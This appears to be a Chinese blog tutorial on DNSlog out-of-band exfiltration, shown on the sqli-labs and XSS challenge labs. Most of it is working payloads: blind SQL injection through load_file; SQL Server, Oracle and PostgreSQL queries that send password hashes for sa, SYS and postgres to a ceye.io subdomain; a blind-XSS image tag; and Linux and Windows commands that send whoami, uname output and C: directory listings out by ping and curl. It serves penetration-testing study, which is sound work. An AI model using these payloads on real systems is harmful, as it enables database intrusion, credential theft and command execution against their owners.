前言

我们现在遇到的注入点大部分都是很多都是盲注类型的,注入起来很麻烦,如果还是一个基于时间的盲注,那消耗的时间更长,dnslog注入就解决了盲注的这个无回显的问题,接下来我们介绍一下dnslog注入。

dnslog注入

如果我们想要使用dnslog注入,必须满足几个条件,条件一个需要是高权限,mysql的情况下需要是root权限。条件二,需要有文件读写的权限。除此之外呢我们还需要注册是dns平台来获取注入的数据,这里我们推荐一个知道创于的平台ceye.io
mysql中,我们在注入的时候使用的load_file支持对外读取,所以目标系统中的secure_file_priv需要配置为空,我们实验的情况下可以在my.ini下添加secure_file_priv=secure_auth=on,这是我们注入的关键,还有就是如果有人访问我们的子域名,DNS在解析的时候会留下日志,正是用这一点,我们将回显的结果和我们的域名拼接然后访问,我们即可知道其回显的内容是什么。

环境介绍

系统:win7
漏洞环境:sqlilab

漏洞复现

1.首先我们访问网站ceye.io注册一个账号,我们会用到它给我们分配的识别码,还有一个APIToken我们可以在使用工具的时候使用,这里暂时先不介绍了。

2.然后我们打开目标环境,这里我们使用的是sqlilabs的第5关,这一关就是盲注,我们尝试获取当前数据库:

MySql

http://192.168.252.175/sqli-labs/Less-5/
?id=1' and if((select load_file(concat('\\\\',(select database()),'.rw6402.ceye.io\\abc'))),1,0)-- +


我们查看我们的访问日志,可以看到拼接的数据已经回显,可以看到数据名:

这里借鉴其他文章中的命令来记录一下

SQLSERVER

DECLARE @host varchar(1024);
SELECT @host=(SELECT TOP 1
master.dbo.fn_varbintohexstr(password_hash)
FROM sys.sql_logins WHERE name='sa')
+'.ip.port.b182oj.ceye.io';
EXEC('master..xp_dirtree
"\\'+@host+'\foobar$"');

Oracle

SELECT UTL_INADDR.GET_HOST_ADDRESS('ip.port.b182oj.ceye.io');
SELECT UTL_HTTP.REQUEST('http://ip.port.b182oj.ceye.io/oracle') FROM DUAL;
SELECT HTTPURITYPE('http://ip.port.b182oj.ceye.io/oracle').GETCLOB() FROM DUAL;
SELECT DBMS_LDAP.INIT(('oracle.ip.port.b182oj.ceye.io',80) FROM DUAL;
SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name='SYS')||'.ip.port.b182oj.ceye.io',80) FROM DUAL;

PostgreSQL

DROP TABLE IF EXISTS table_output;
CREATE TABLE table_output(content text);
CREATE OR REPLACE FUNCTION temp_function()
RETURNS VOID AS $
DECLARE exec_cmd TEXT;
DECLARE query_result TEXT;
BEGIN
SELECT INTO query_result (SELECT passwd
FROM pg_shadow WHERE usename='postgres');
exec_cmd := E'COPY table_output(content)
FROM E\'\\\\\\\\'||query_result||E'.psql.ip.port.b182oj.ceye.io\\\\foobar.txt\'';
EXECUTE exec_cmd;
END;
$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT temp_function();

XXS盲打测试

有些时候我们需要判断xss是否被执行,所以我们可以尝试插入一个图片标签,请求链接是我们的域名,从而判断xss盲打是否成功,这里我们使用xss挑战的第一关进行测试:

https://xss.tesla-space.com/level1.php?name=<img src="http://xss1.rw6402.ceye.io/123">


可以看到请求已经被记录,说明我们代码已经被执行。

无回显的命令执行

当我们遇到命令执行但是没有回显的情况,我们也可以使用dnslog的方式。
Linux

ping `whoami`.rw6402.ceye.io
curl http://`uname -a | base64`.rw6402.ceye.io/    Dns Query中查看
curl http://rw6402.ceye.io/`uname -a | base64`    http request中查看

这里我们将数据进行了base64编码,我们查看的是内核信息

Windows
我们可以查windows中的变量

ping %USERNAME%.rw6402.ceye.io


获取whoami的信息

for /F "delims=\" %i in ('whoami') do ping -n 1 %i.rw6402.ceye.io

获取C盘根目录下面所有文件以及文件目录名,使用这个命令目标主机会弹出浏览器

for /F %x in ('dir /b C:\') do start http://rw6402.ceye.io/[%x].jpg

说还有一些其他的测payload,我们可以访问http://ceye.io/payloads查看。

参考链接:
https://www.cnblogs.com/afanti/p/8047530.html
http://blog.knownsec.com/2016/06/how-to-scan-and-check-vulnerabilities/

最后修改:2020 年 09 月 20 日
如果觉得我的文章对你有用,请随意赞赏